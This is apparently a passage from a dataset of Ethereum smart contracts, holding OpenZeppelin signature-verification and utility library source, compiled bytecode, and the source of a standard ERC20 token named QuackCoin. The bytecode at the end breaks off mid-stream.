verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/SignatureChecker.sol) pragma solidity ^0.8.0; import "./ECDSA.sol"; import "../Address.sol"; import "../../interfaces/IERC1271.sol"; /** * @dev Signature verification helper: Provide a single mechanism to verify both private-key (EOA) ECDSA signature and * ERC1271 contract signatures. Using this instead of ECDSA.recover in your contract will make them compatible with * smart contract wallets such as Argent and Gnosis. * * Note: unlike ECDSA signatures, contract signature's are revocable, and the outcome of this function can thus change * through time. It could return true at block N and false at block N+1 (or the opposite). * * _Available since v4.1._ */ library SignatureChecker { function isValidSignatureNow( address signer, bytes32 hash, bytes memory signature ) internal view returns (bool) { (address recovered, ECDSA.RecoverError error) = ECDSA.tryRecover(hash, signature); if (error == ECDSA.RecoverError.NoError && recovered == signer) { return true; } (bool success, bytes memory result) = signer.staticcall( abi.encodeWithSelector(IERC1271.isValidSignature.selector, hash, signature) ); return (success && result.length == 32 && abi.decode(result, (bytes4)) == IERC1271.isValidSignature.selector); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (interfaces/IERC1271.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC1271 standard signature validation method for * contracts as defined in https://eips.ethereum.org/EIPS/eip-1271[ERC-1271]. * * _Available since v4.1._ */ interface IERC1271 { /** * @dev Should return whether the signature provided is valid for the provided data * @param hash Hash of the data to be signed * @param signature Signature byte array associated with _data */ function isValidSignature(bytes32 hash, bytes memory signature) external view returns (bytes4 magicValue); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } }
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c806343b0215f1161005b57806343b0215f146100ff5780638da5cb5b14610133578063f1e852af14610151578063fc50103b146101815761007d565b806302884366146100825780630e01ba8b146100b25780633d8a9eaa146100e3575b600080fd5b61009c60048036038101906100979190610e31565b6101b1565b6040516100a99190611242565b60405180910390f35b6100cc60048036038101906100c79190610e5e565b610230565b6040516100da92919061125d565b60405180910390f35b6100fd60048036038101906100f89190610ef8565b6102f2565b005b61011960048036038101906101149190610e31565b61081c565b60405161012a9594939291906113b6565b60405180910390f35b61013b610852565b6040516101489190611242565b60405180910390f35b61016b60048036038101906101669190610ecb565b610876565b6040516101789190611242565b60405180910390f35b61019b60048036038101906101969190610e31565b6108a9565b6040516101a8919061139b565b60405180910390f35b600060026000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600080600080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015411905060008073ffffffffffffffffffffffffffffffffffffffff166002600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415905081819350935050509250929050565b6000861415610336576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161032d906112fb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166002600088815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103cf9061135b565b60405180910390fd5b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541461045d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104549061131b565b60405180910390fd5b600082848661046c91906114a2565b61047691906114a2565b116104b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ad9061137b565b60405180910390fd5b60006104f3338888888888306040516020016104d89796959493929190611184565b6040516020818303038152906040528051906020012061098f565b905061052060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682846109bf565b61055f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105569061133b565b60405180910390fd5b336002600089815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508660016000600260008b815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055508560016000600260008b815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055508460016000600260008b815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201819055508360016000600260008b815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055508260016000600260008b815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004018190555050505050505050565b60016020528060005260406000206000915090508060000154908060010154908060020154908060030154908060040154905085565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60026020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040154600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461097e91906114a2565b61098891906114a2565b9050919050565b6000816040516020016109a2919061121c565b604051602081830303815290604052805190602001209050919050565b60008060006109ce8585610ba4565b91509150600060048111156109e6576109e5611693565b5b8160048111156109f9576109f8611693565b5b148015610a3157508573ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610a4157600192505050610b9d565b6000808773ffffffffffffffffffffffffffffffffffffffff16631626ba7e60e01b8888604051602401610a76929190611286565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051610ae09190611205565b600060405180830381855afa9150503d8060008114610b1b576040519150601f19603f3d011682016040523d82523d6000602084013e610b20565b606091505b5091509150818015610b33575060208151145b8015610b965750631626ba7e60e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681806020019051810190610b759190610e9e565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b9450505050505b9392505050565b600080604183511415610be65760008060006020860151925060408601519150606086015160001a9050610bda87828585610c27565b94509450505050610c20565b604083511415610c17576000806020850151915060408501519050610c0c868383610d34565b935093505050610c20565b60006002915091505b9250929050565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08360001c1115610c62576000600391509150610d2b565b601b8560ff1614158015610c7a5750601c8560ff1614155b15610c8c576000600491509150610d2b565b600060018787878760405160008152602001604052604051610cb194939291906112b6565b6020604051602081039080840390855afa158015610cd3573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610d2257600060019250925050610d2b565b80600092509250505b94509492505050565b6000806000807f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff85169150601b8560ff1c019050610d7487828885610c27565b935093505050935093915050565b6000610d95610d908461142e565b611409565b905082815260208101848484011115610db157610db06116f6565b5b610dbc8482856115b9565b509392505050565b600081359050610dd3816118b1565b92915050565b600081519050610de8816118c8565b92915050565b600082601f830112610e0357610e026116f1565b5b8135610e13848260208601610d82565b91505092915050565b600081359050610e2b816118df565b92915050565b600060208284031215610e4757610e46611700565b5b6000610e5584828501610dc4565b91505092915050565b60008060408385031215610e7557610e74611700565b5b6000610e8385828601610dc4565b9250506020610e9485828601610e1c565b9150509250929050565b600060208284031215610eb457610eb3611700565b5b6000610ec284828501610dd9565b91505092915050565b600060208284031215610ee157610ee0611700565b5b6000610eef84828501610e1c565b91505092915050565b60008060008060008060c08789031215610f1557610f14611700565b5b6000610f2389828a01610e1c565b9650506020610f3489828a01610e1c565b9550506040610f4589828a01610e1c565b9450506060610f5689828a01610e1c565b9350506080610f6789828a01610e1c565b92505060a087013567ffffffffffffffff811115610f8857610f876116fb565b5b610f9489828a01610dee565b9150509295509295509295565b610faa816114f8565b82525050565b610fc1610fbc826114f8565b61162c565b82525050565b610fd08161150a565b82525050565b610fdf81611516565b82525050565b610ff6610ff182611516565b61163e565b82525050565b60006110078261145f565b611011818561146a565b93506110218185602086016115c8565b61102a81611705565b840191505092915050565b60006110408261145f565b61104a818561147b565b935061105a8185602086016115c8565b80840191505092915050565b61107761107282611583565b61162c565b82525050565b600061108a602183611486565b915061109582611723565b604082019050919050565b60006110ad601c83611497565b91506110b882611772565b601c82019050919050565b60006110d0602583611486565b91506110db8261179b565b604082019050919050565b60006110f3602b83611486565b91506110fe826117ea565b604082019050919050565b6000611116602083611486565b915061112182611839565b602082019050919050565b6000611139603583611486565b915061114482611862565b604082019050919050565b6111588161156c565b82525050565b61116f61116a8261156c565b61165a565b82525050565b61117e81611576565b82525050565b6000611190828a610fb0565b6014820191506111a0828961115e565b6020820191506111b0828861115e565b6020820191506111c0828761115e565b6020820191506111d0828661115e565b6020820191506111e0828561115e565b6020820191506111f08284611066565b60148201915081905098975050505050505050565b60006112118284611035565b915081905092915050565b6000611227826110a0565b91506112338284610fe5565b60208201915081905092915050565b60006020820190506112576000830184610fa1565b92915050565b60006040820190506112726000830185610fc7565b61127f6020830184610fc7565b9392505050565b600060408201905061129b6000830185610fd6565b81810360208301526112ad8184610ffc565b90509392505050565b60006080820190506112cb6000830187610fd6565b6112d86020830186611175565b6112e56040830185610fd6565b6112f26060830184610fd6565b95945050505050565b600060208201905081810360008301526113148161107d565b9050919050565b60006020820190508181036000830152611334816110c3565b9050919050565b60006020820190508181036000830152611354816110e6565b9050919050565b6000602082019050818103600083015261137481611109565b9050919050565b600060208201905081810360008301526113948161112c565b9050919050565b60006020820190506113b0600083018461114f565b92915050565b600060a0820190506113cb600083018861114f565b6113d8602083018761114f565b6113e5604083018661114f565b6113f2606083018561114f565b6113ff608083018461114f565b9695505050505050565b6000611413611424565b905061141f82826115fb565b919050565b6000604051905090565b600067ffffffffffffffff821115611449576114486116c2565b5b61145282611705565b9050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b60006114ad8261156c565b91506114b88361156c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156114ed576114ec611664565b5b828201905092915050565b60006115038261154c565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061158e82611595565b9050919050565b60006115a0826115a7565b9050919050565b60006115b28261154c565b9050919050565b82818337600083830152505050565b60005b838110156115e65780820151818401526020810190506115cb565b838111156115f5576000848401525b50505050565b61160482611705565b810181811067ffffffffffffffff82111715611623576116226116c2565b5b80604052505050565b600061163782611648565b9050919050565b6000819050919050565b600061165382611716565b9050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f44617461546f436861696e3a207573657249642063616e6e74206265207a657260008201527f6f00000000000000000000000000000000000000000000000000000000000000602082015250565b7f19457468657265756d205369676e6564204d6573736167653a0a333200000000600082015250565b7f44617461546f436861696e3a206d73672e73656e646572204861766520696d7060008201527f6f72746564000000000000000000000000000000000000000000000000000000602082015250565b7f44617461546f436861696e3a205369676e61747572652076657269666963617460008201527f696f6e206661696c757265000000000000000000000000000000000000000000602082015250565b7f44617461546f436861696e3a757365724964204861766520696d706f72746564600082015250565b7f44617461546f436861696e3a205468652075706c6f616420616d6f756e74206d60008201527f7573742062652067726561746572207468616e20300000000000000000000000602082015250565b6118ba816114f8565b81146118c557600080fd5b50565b6118d181611520565b81146118dc57600080fd5b50565b6118e88161156c565b81146118f357600080fd5b5056fea2646970667358221220bc350ebf93ee95051b18234309e5fa90de5e57a2905e27a9a6ab9f9bbaff964364736f6c63430008070033
[ 38 ]
0xf37501aab03e76b04e6b20f5195656f0cb8e36a0
pragma solidity ^0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract QuackCoin is ERC20 { constructor() ERC20("QuackCoin", "QUACK") { _mint(_msgSender(),1.15e15); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610e40565b60405180910390f35b6100e660048036038101906100e19190610c8e565b610308565b6040516100f39190610e25565b60405180910390f35b610104610326565b6040516101119190610f42565b60405180910390f35b610134600480360381019061012f9190610c3f565b610330565b6040516101419190610e25565b60405180910390f35b610152610431565b60405161015f9190610f5d565b60405180910390f35b610182600480360381019061017d9190610c8e565b61043a565b60405161018f9190610e25565b60405180910390f35b6101b260048036038101906101ad9190610bda565b6104e6565b6040516101bf9190610f42565b60405180910390f35b6101d061052e565b6040516101dd9190610e40565b60405180910390f35b61020060048036038101906101fb9190610c8e565b6105c0565b60405161020d9190610e25565b60405180910390f35b610230600480360381019061022b9190610c8e565b6106b4565b60405161023d9190610e25565b60405180910390f35b610260600480360381019061025b9190610c03565b6106d2565b60405161026d9190610f42565b60405180910390f35b606060038054610285906110a6565b80601f01602080910402602001604051908101604052809291908181526020018280546102b1906110a6565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610759565b8484610761565b6001905092915050565b6000600254905090565b600061033d84848461092c565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90610ec2565b60405180910390fd5b61042585610414610759565b85846104209190610fea565b610761565b60019150509392505050565b60006012905090565b60006104dc610447610759565b848460016000610455610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104d79190610f94565b610761565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053d906110a6565b80601f0160208091040260200160405190810160405280929190818152602001828054610569906110a6565b80156105b65780601f1061058b576101008083540402835291602001916105b6565b820191906000526020600020905b81548152906001019060200180831161059957829003601f168201915b5050505050905090565b600080600160006105cf610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561068c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068390610f22565b60405180910390fd5b6106a9610697610759565b8585846106a49190610fea565b610761565b600191505092915050565b60006106c86106c1610759565b848461092c565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107d1576040517f08c379a000000000000000000000000000000000000000000000000